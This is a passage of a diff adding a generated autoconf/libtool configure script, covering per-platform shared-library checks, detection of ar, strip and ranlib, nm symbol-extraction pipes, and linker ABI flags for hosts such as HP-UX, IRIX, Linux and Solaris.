+  lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (shared object|dynamic lib)'
+  lt_cv_file_magic_cmd='/usr/bin/file -L'
+  lt_cv_file_magic_test_file=/shlib/libc.so
+  ;;
+
+cygwin*)
+  # func_win32_libid is a shell function defined in ltmain.sh
+  lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+  lt_cv_file_magic_cmd='func_win32_libid'
+  ;;
+
+  # Base MSYS/MinGW do not provide the 'file' command needed by
+  # func_win32_libid shell function, so use a weaker test based on 'objdump'.
+mingw* | pw32*)
+  lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
+  lt_cv_file_magic_cmd='$OBJDUMP -f'
+  ;;
+
+darwin* | rhapsody*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+freebsd* | kfreebsd*-gnu | dragonfly*)
+  if echo __ELF__ | $CC -E - | $GREP __ELF__ > /dev/null; then
+    case $host_cpu in
+    i*86 )
+      # Not sure whether the presence of OpenBSD here was a mistake.
+      # Let's accept both of them until this is cleared up.
+      lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD|DragonFly)/i[3-9]86 (compact )?demand paged shared library'
+      lt_cv_file_magic_cmd=/usr/bin/file
+      lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*`
+      ;;
+    esac
+  else
+    lt_cv_deplibs_check_method=pass_all
+  fi
+  ;;
+
+gnu*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+hpux10.20* | hpux11*)
+  lt_cv_file_magic_cmd=/usr/bin/file
+  case $host_cpu in
+  ia64*)
+    lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - IA64'
+    lt_cv_file_magic_test_file=/usr/lib/hpux32/libc.so
+    ;;
+  hppa*64*)
+    lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - PA-RISC [0-9].[0-9]'
+    lt_cv_file_magic_test_file=/usr/lib/pa20_64/libc.sl
+    ;;
+  *)
+    lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|PA-RISC[0-9].[0-9]) shared library'
+    lt_cv_file_magic_test_file=/usr/lib/libc.sl
+    ;;
+  esac
+  ;;
+
+interix3*)
+  # PIC code is broken on Interix 3.x, that's why |\.a not |_pic\.a here
+  lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so|\.a)$'
+  ;;
+
+irix5* | irix6* | nonstopux*)
+  case $LD in
+  *-32|*"-32 ") libmagic=32-bit;;
+  *-n32|*"-n32 ") libmagic=N32;;
+  *-64|*"-64 ") libmagic=64-bit;;
+  *) libmagic=never-match;;
+  esac
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+# This must be Linux ELF.
+linux*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+netbsd* | knetbsd*-gnu)
+  if echo __ELF__ | $CC -E - | $GREP __ELF__ > /dev/null; then
+    lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$'
+  else
+    lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so|_pic\.a)$'
+  fi
+  ;;
+
+newos6*)
+  lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (executable|dynamic lib)'
+  lt_cv_file_magic_cmd=/usr/bin/file
+  lt_cv_file_magic_test_file=/usr/lib/libnls.so
+  ;;
+
+*nto* | *qnx*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+openbsd*)
+  if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
+    lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|\.so|_pic\.a)$'
+  else
+    lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$'
+  fi
+  ;;
+
+osf3* | osf4* | osf5*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+rdos*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+solaris*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+sysv4 | sysv4.3*)
+  case $host_vendor in
+  motorola)
+    lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (shared object|dynamic lib) M[0-9][0-9]* Version [0-9]'
+    lt_cv_file_magic_test_file=`echo /usr/lib/libc.so*`
+    ;;
+  ncr)
+    lt_cv_deplibs_check_method=pass_all
+    ;;
+  sequent)
+    lt_cv_file_magic_cmd='/bin/file'
+    lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [LM]SB (shared object|dynamic lib )'
+    ;;
+  sni)
+    lt_cv_file_magic_cmd='/bin/file'
+    lt_cv_deplibs_check_method="file_magic ELF [0-9][0-9]*-bit [LM]SB dynamic lib"
+    lt_cv_file_magic_test_file=/lib/libc.so
+    ;;
+  siemens)
+    lt_cv_deplibs_check_method=pass_all
+    ;;
+  pc)
+    lt_cv_deplibs_check_method=pass_all
+    ;;
+  esac
+  ;;
+
+tpf*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+esac
+
+fi
+echo "$as_me:$LINENO: result: $lt_cv_deplibs_check_method" >&5
+echo "${ECHO_T}$lt_cv_deplibs_check_method" >&6
+file_magic_cmd=$lt_cv_file_magic_cmd
+deplibs_check_method=$lt_cv_deplibs_check_method
+test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
+
+
+
+
+
+
+
+
+
+if test -n "$ac_tool_prefix"; then
+  # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+set dummy ${ac_tool_prefix}ar; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_AR+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$AR"; then
+  ac_cv_prog_AR="$AR" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_AR="${ac_tool_prefix}ar"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+fi
+fi
+AR=$ac_cv_prog_AR
+if test -n "$AR"; then
+  echo "$as_me:$LINENO: result: $AR" >&5
+echo "${ECHO_T}$AR" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+fi
+if test -z "$ac_cv_prog_AR"; then
+  ac_ct_AR=$AR
+  # Extract the first word of "ar", so it can be a program name with args.
+set dummy ar; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_AR+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$ac_ct_AR"; then
+  ac_cv_prog_ac_ct_AR="$ac_ct_AR" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_ac_ct_AR="ar"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+  test -z "$ac_cv_prog_ac_ct_AR" && ac_cv_prog_ac_ct_AR="false"
+fi
+fi
+ac_ct_AR=$ac_cv_prog_ac_ct_AR
+if test -n "$ac_ct_AR"; then
+  echo "$as_me:$LINENO: result: $ac_ct_AR" >&5
+echo "${ECHO_T}$ac_ct_AR" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+  AR=$ac_ct_AR
+else
+  AR="$ac_cv_prog_AR"
+fi
+
+test -z "$AR" && AR=ar
+test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
+
+
+
+
+
+
+
+
+if test -n "$ac_tool_prefix"; then
+  # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+set dummy ${ac_tool_prefix}strip; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_STRIP+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$STRIP"; then
+  ac_cv_prog_STRIP="$STRIP" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_STRIP="${ac_tool_prefix}strip"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+fi
+fi
+STRIP=$ac_cv_prog_STRIP
+if test -n "$STRIP"; then
+  echo "$as_me:$LINENO: result: $STRIP" >&5
+echo "${ECHO_T}$STRIP" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+fi
+if test -z "$ac_cv_prog_STRIP"; then
+  ac_ct_STRIP=$STRIP
+  # Extract the first word of "strip", so it can be a program name with args.
+set dummy strip; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_STRIP+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$ac_ct_STRIP"; then
+  ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_ac_ct_STRIP="strip"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+  test -z "$ac_cv_prog_ac_ct_STRIP" && ac_cv_prog_ac_ct_STRIP=":"
+fi
+fi
+ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP
+if test -n "$ac_ct_STRIP"; then
+  echo "$as_me:$LINENO: result: $ac_ct_STRIP" >&5
+echo "${ECHO_T}$ac_ct_STRIP" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+  STRIP=$ac_ct_STRIP
+else
+  STRIP="$ac_cv_prog_STRIP"
+fi
+
+test -z "$STRIP" && STRIP=:
+
+
+
+
+
+
+if test -n "$ac_tool_prefix"; then
+  # Extract the first word of "${ac_tool_prefix}ranlib", so it can be a program name with args.
+set dummy ${ac_tool_prefix}ranlib; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_RANLIB+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$RANLIB"; then
+  ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_RANLIB="${ac_tool_prefix}ranlib"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+fi
+fi
+RANLIB=$ac_cv_prog_RANLIB
+if test -n "$RANLIB"; then
+  echo "$as_me:$LINENO: result: $RANLIB" >&5
+echo "${ECHO_T}$RANLIB" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+fi
+if test -z "$ac_cv_prog_RANLIB"; then
+  ac_ct_RANLIB=$RANLIB
+  # Extract the first word of "ranlib", so it can be a program name with args.
+set dummy ranlib; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_RANLIB+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$ac_ct_RANLIB"; then
+  ac_cv_prog_ac_ct_RANLIB="$ac_ct_RANLIB" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_ac_ct_RANLIB="ranlib"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+  test -z "$ac_cv_prog_ac_ct_RANLIB" && ac_cv_prog_ac_ct_RANLIB=":"
+fi
+fi
+ac_ct_RANLIB=$ac_cv_prog_ac_ct_RANLIB
+if test -n "$ac_ct_RANLIB"; then
+  echo "$as_me:$LINENO: result: $ac_ct_RANLIB" >&5
+echo "${ECHO_T}$ac_ct_RANLIB" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+  RANLIB=$ac_ct_RANLIB
+else
+  RANLIB="$ac_cv_prog_RANLIB"
+fi
+
+test -z "$RANLIB" && RANLIB=:
+
+
+
+
+
+
+# Determine commands to create old-style static archives.
+old_archive_cmds='$AR $AR_FLAGS $oldlib$oldobjs$old_deplibs'
+old_postinstall_cmds='chmod 644 $oldlib'
+old_postuninstall_cmds=
+
+if test -n "$RANLIB"; then
+  case $host_os in
+  openbsd*)
+    old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB -t \$oldlib"
+    ;;
+  *)
+    old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB \$oldlib"
+    ;;
+  esac
+  old_archive_cmds="$old_archive_cmds~\$RANLIB \$oldlib"
+fi
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+# If no C compiler was specified, use CC.
+LTCC=${LTCC-"$CC"}
+
+# If no C compiler flags were specified, use CFLAGS.
+LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
+
+# Allow CC to be a program name with arguments.
+compiler=$CC
+
+
+# Check for command to grab the raw symbol name followed by C symbol from nm.
+echo "$as_me:$LINENO: checking command to parse $NM output from $compiler object" >&5
+echo $ECHO_N "checking command to parse $NM output from $compiler object... $ECHO_C" >&6
+if test "${lt_cv_sys_global_symbol_pipe+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+
+# These are sane defaults that work on at least a few old systems.
+# [They come from Ultrix.  What could be older than Ultrix?!! ;)]
+
+# Character class describing NM global symbol codes.
+symcode='[BCDEGRST]'
+
+# Regexp to match symbols that can be accessed directly from C.
+sympat='\([_A-Za-z][_A-Za-z0-9]*\)'
+
+# Define system-specific variables.
+case $host_os in
+aix*)
+  symcode='[BCDT]'
+  ;;
+cygwin* | mingw* | pw32*)
+  symcode='[ABCDGISTW]'
+  ;;
+hpux*)
+  if test "$host_cpu" = ia64; then
+    symcode='[ABCDEGRST]'
+  fi
+  ;;
+irix* | nonstopux*)
+  symcode='[BCDEGRST]'
+  ;;
+osf*)
+  symcode='[BCDEGQRST]'
+  ;;
+solaris*)
+  symcode='[BDRT]'
+  ;;
+sco3.2v5*)
+  symcode='[DT]'
+  ;;
+sysv4.2uw2*)
+  symcode='[DT]'
+  ;;
+sysv5* | sco5v6* | unixware* | OpenUNIX*)
+  symcode='[ABDT]'
+  ;;
+sysv4)
+  symcode='[DFNSTU]'
+  ;;
+esac
+
+# If we're using GNU nm, then use its standard symbol codes.
+case `$NM -V 2>&1` in
+*GNU* | *'with BFD'*)
+  symcode='[ABCDGIRSTW]' ;;
+esac
+
+# Transform an extracted symbol line into a proper C declaration.
+# Some systems (esp. on ia64) link data and code symbols differently,
+# so use this general approach.
+lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+# Transform an extracted symbol line into symbol name and symbol address
+lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/  {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/  {\"\2\", (void *) \&\2},/p'"
+
+# Handle CRLF in mingw tool chain
+opt_cr=
+case $build_os in
+mingw*)
+  opt_cr=`$ECHO 'x\{0,1\}' | tr x '\015'` # option cr in regexp
+  ;;
+esac
+
+# Try without a prefix underscore, then with it.
+for ac_symprfx in "" "_"; do
+
+  # Transform symcode, sympat, and symprfx into a raw symbol and a C symbol.
+  symxfrm="\\1 $ac_symprfx\\2 \\2"
+
+  # Write the raw and C identifiers.
+  if test "$lt_cv_nm_interface" = "MS dumpbin"; then
+    # Fake it for dumpbin and say T for any non-static function
+    # and D for any global variable.
+    # Also find C++ and __fastcall symbols from MSVC++,
+    # which start with @ or ?.
+    lt_cv_sys_global_symbol_pipe="$AWK '"\
+"     {last_section=section; section=\$ 3};"\
+"     /Section length .*#relocs.*(pick any)/{hide[last_section]=1};"\
+"     \$ 0!~/External *\|/{next};"\
+"     / 0+ UNDEF /{next}; / UNDEF \([^|]\)*()/{next};"\
+"     {if(hide[section]) next};"\
+"     {f=0}; \$ 0~/\(\).*\|/{f=1}; {printf f ? \"T \" : \"D \"};"\
+"     {split(\$ 0, a, /\||\r/); split(a[2], s)};"\
+"     s[1]~/^[@?]/{print s[1], s[1]; next};"\
+"     s[1]~prfx {split(s[1],t,\"@\"); print t[1], substr(t[1],length(prfx))}"\
+"     ' prfx=^$ac_symprfx"
+  else
+    lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ 	]\($symcode$symcode*\)[ 	][ 	]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+  fi
+
+  # Check to see that the pipe works correctly.
+  pipe_works=no
+
+  rm -f conftest*
+  cat > conftest.$ac_ext <<_LT_EOF
+#ifdef __cplusplus
+extern "C" {
+#endif
+char nm_test_var;
+void nm_test_func(){}
+#ifdef __cplusplus
+}
+#endif
+int main(){nm_test_var='a';nm_test_func();return(0);}
+_LT_EOF
+
+  if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; then
+    # Now try to grab the symbols.
+    nlist=conftest.nm
+    if { (eval echo "$as_me:$LINENO: \"$NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist\"") >&5
+  (eval $NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } && test -s "$nlist"; then
+      # Try sorting and uniquifying the output.
+      if sort "$nlist" | uniq > "$nlist"T; then
+	mv -f "$nlist"T "$nlist"
+      else
+	rm -f "$nlist"T
+      fi
+
+      # Make sure that we snagged all the symbols we need.
+      if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+	if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+	  cat <<_LT_EOF > conftest.$ac_ext
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+_LT_EOF
+	  # Now generate the symbol file.
+	  eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | $GREP -v main >> conftest.$ac_ext'
+
+	  cat <<_LT_EOF >> conftest.$ac_ext
+
+/* The mapping between symbol names and symbols.  */
+const struct {
+  const char *name;
+  void       *address;
+}
+lt__PROGRAM__LTX_preloaded_symbols[] =
+{
+  { "@PROGRAM@", (void *) 0 },
+_LT_EOF
+	  $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/  {\"\2\", (void *) \&\2},/" < "$nlist" | $GREP -v main >> conftest.$ac_ext
+	  cat <<\_LT_EOF >> conftest.$ac_ext
+  {0, (void *) 0}
+};
+
+/* This works around a problem in FreeBSD linker */
+#ifdef FREEBSD_WORKAROUND
+static const void *lt_preloaded_setup() {
+  return lt__PROGRAM__LTX_preloaded_symbols;
+}
+#endif
+
+#ifdef __cplusplus
+}
+#endif
+_LT_EOF
+	  # Now try linking the two files.
+	  mv conftest.$ac_objext conftstm.$ac_objext
+	  lt_save_LIBS="$LIBS"
+	  lt_save_CFLAGS="$CFLAGS"
+	  LIBS="conftstm.$ac_objext"
+	  CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+	  if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } && test -s conftest${ac_exeext}; then
+	    pipe_works=yes
+	  fi
+	  LIBS="$lt_save_LIBS"
+	  CFLAGS="$lt_save_CFLAGS"
+	else
+	  echo "cannot find nm_test_func in $nlist" >&5
+	fi
+      else
+	echo "cannot find nm_test_var in $nlist" >&5
+      fi
+    else
+      echo "cannot run $lt_cv_sys_global_symbol_pipe" >&5
+    fi
+  else
+    echo "$progname: failed program was:" >&5
+    cat conftest.$ac_ext >&5
+  fi
+  rm -f conftest* conftst*
+
+  # Do not use the global_symbol_pipe unless it works.
+  if test "$pipe_works" = yes; then
+    break
+  else
+    lt_cv_sys_global_symbol_pipe=
+  fi
+done
+
+fi
+
+if test -z "$lt_cv_sys_global_symbol_pipe"; then
+  lt_cv_sys_global_symbol_to_cdecl=
+fi
+if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then
+  echo "$as_me:$LINENO: result: failed" >&5
+echo "${ECHO_T}failed" >&6
+else
+  echo "$as_me:$LINENO: result: ok" >&5
+echo "${ECHO_T}ok" >&6
+fi
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+# Check whether --enable-libtool-lock or --disable-libtool-lock was given.
+if test "${enable_libtool_lock+set}" = set; then
+  enableval="$enable_libtool_lock"
+
+fi;
+test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes
+
+# Some flags need to be propagated to the compiler or linker for good
+# libtool support.
+case $host in
+ia64-*-hpux*)
+  # Find out which ABI we are using.
+  echo 'int i;' > conftest.$ac_ext
+  if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; then
+    case `/usr/bin/file conftest.$ac_objext` in
+      *ELF-32*)
+	HPUX_IA64_MODE="32"
+	;;
+      *ELF-64*)
+	HPUX_IA64_MODE="64"
+	;;
+    esac
+  fi
+  rm -rf conftest*
+  ;;
+*-*-irix6*)
+  # Find out which ABI we are using.
+  echo '#line 5062 "configure"' > conftest.$ac_ext
+  if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; then
+    if test "$lt_cv_prog_gnu_ld" = yes; then
+      case `/usr/bin/file conftest.$ac_objext` in
+	*32-bit*)
+	  LD="${LD-ld} -melf32bsmip"
+	  ;;
+	*N32*)
+	  LD="${LD-ld} -melf32bmipn32"
+	  ;;
+	*64-bit*)
+	  LD="${LD-ld} -melf64bmip"
+	;;
+      esac
+    else
+      case `/usr/bin/file conftest.$ac_objext` in
+	*32-bit*)
+	  LD="${LD-ld} -32"
+	  ;;
+	*N32*)
+	  LD="${LD-ld} -n32"
+	  ;;
+	*64-bit*)
+	  LD="${LD-ld} -64"
+	  ;;
+      esac
+    fi
+  fi
+  rm -rf conftest*
+  ;;
+
+x86_64-*linux*|ppc*-*linux*|powerpc*-*linux*|s390*-*linux*|s390*-*tpf*|sparc*-*linux*)
+  # Find out which ABI we are using.
+  echo 'int i;' > conftest.$ac_ext
+  if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; then
+    case `/usr/bin/file conftest.o` in
+      *32-bit*)
+	case $host in
+	  x86_64-*linux*)
+	    LD="${LD-ld} -m elf_i386"
+	    ;;
+	  ppc64-*linux*|powerpc64-*linux*)
+	    LD="${LD-ld} -m elf32ppclinux"
+	    ;;
+	  s390x-*linux*)
+	    LD="${LD-ld} -m elf_s390"
+	    ;;
+	  sparc64-*linux*)
+	    LD="${LD-ld} -m elf32_sparc"
+	    ;;
+	esac
+	;;
+      *64-bit*)
+	case $host in
+	  x86_64-*linux*)
+	    LD="${LD-ld} -m elf_x86_64"
+	    ;;
+	  ppc*-*linux*|powerpc*-*linux*)
+	    LD="${LD-ld} -m elf64ppc"
+	    ;;
+	  s390*-*linux*|s390*-*tpf*)
+	    LD="${LD-ld} -m elf64_s390"
+	    ;;
+	  sparc*-*linux*)
+	    LD="${LD-ld} -m elf64_sparc"
+	    ;;
+	esac
+	;;
+    esac
+  fi
+  rm -rf conftest*
+  ;;
+
+*-*-sco3.2v5*)
+  # On SCO OpenServer 5, we need -belf to get full-featured binaries.
+  SAVE_CFLAGS="$CFLAGS"
+  CFLAGS="$CFLAGS -belf"
+  echo "$as_me:$LINENO: checking whether the C compiler needs -belf" >&5
+echo $ECHO_N "checking whether the C compiler needs -belf... $ECHO_C" >&6
+if test "${lt_cv_cc_needs_belf+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+     cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+int
+main ()
+{
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  lt_cv_cc_needs_belf=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+lt_cv_cc_needs_belf=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+     ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+fi
+echo "$as_me:$LINENO: result: $lt_cv_cc_needs_belf" >&5
+echo "${ECHO_T}$lt_cv_cc_needs_belf" >&6
+  if test x"$lt_cv_cc_needs_belf" != x"yes"; then
+    # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf
+    CFLAGS="$SAVE_CFLAGS"
+  fi
+  ;;
+sparc*-*solaris*)
+  # Find out which ABI we are using.
+  echo 'int i;' > conftest.$ac_ext
+  if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; then
+    case `/usr/bin/file conftest.o` in
+    *64-bit*)
+      case $lt_cv_prog_gnu_ld in
+      yes*) LD="${LD-ld} -m elf64_sparc" ;;
